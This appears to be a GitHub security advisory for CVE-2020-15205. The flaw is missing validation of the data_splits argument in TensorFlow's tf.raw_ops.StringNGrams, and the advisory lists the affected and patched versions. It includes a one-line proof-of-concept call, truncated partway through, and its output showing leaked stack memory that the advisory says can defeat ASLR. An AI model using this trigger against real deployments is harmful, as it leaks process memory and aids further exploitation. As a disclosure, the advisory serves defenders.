Data leak in `tf.raw_ops.StringNGrams`

Ⓞ Critical **mihaimaruseac** published **GHSA-g7p5-5759-qv46** on Sep 24, 2020

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (tensorflow)

Affected versions   Patched versions

< 2.3.0   1.15.4, 2.0.3, 2.1.2, 2.2.1, 2.3.1

Description

Impact

The `data_splits` argument of `tf.raw_ops.StringNGrams` lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory

```
>>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", pad_width=0, preserve_short_
StringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=
array([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',
       b'ee ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00',
       b'ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00  \x9b~\xa8q\x7f\x00\x00p\xf5j\xa7q\x7f\x00\x00H\xf8j\xa7q\x7f\x00\x00\xf0\xf3\xf7\x85q\x7f\x0
```

◀   ▶

All the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.

Patches

We have patched the issue in `0462de5` and will release patch releases for all versions between 1.15 and 2.3.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Severity

Ⓞ Critical

CVE ID

CVE-2020-15205

Weaknesses

No CWEs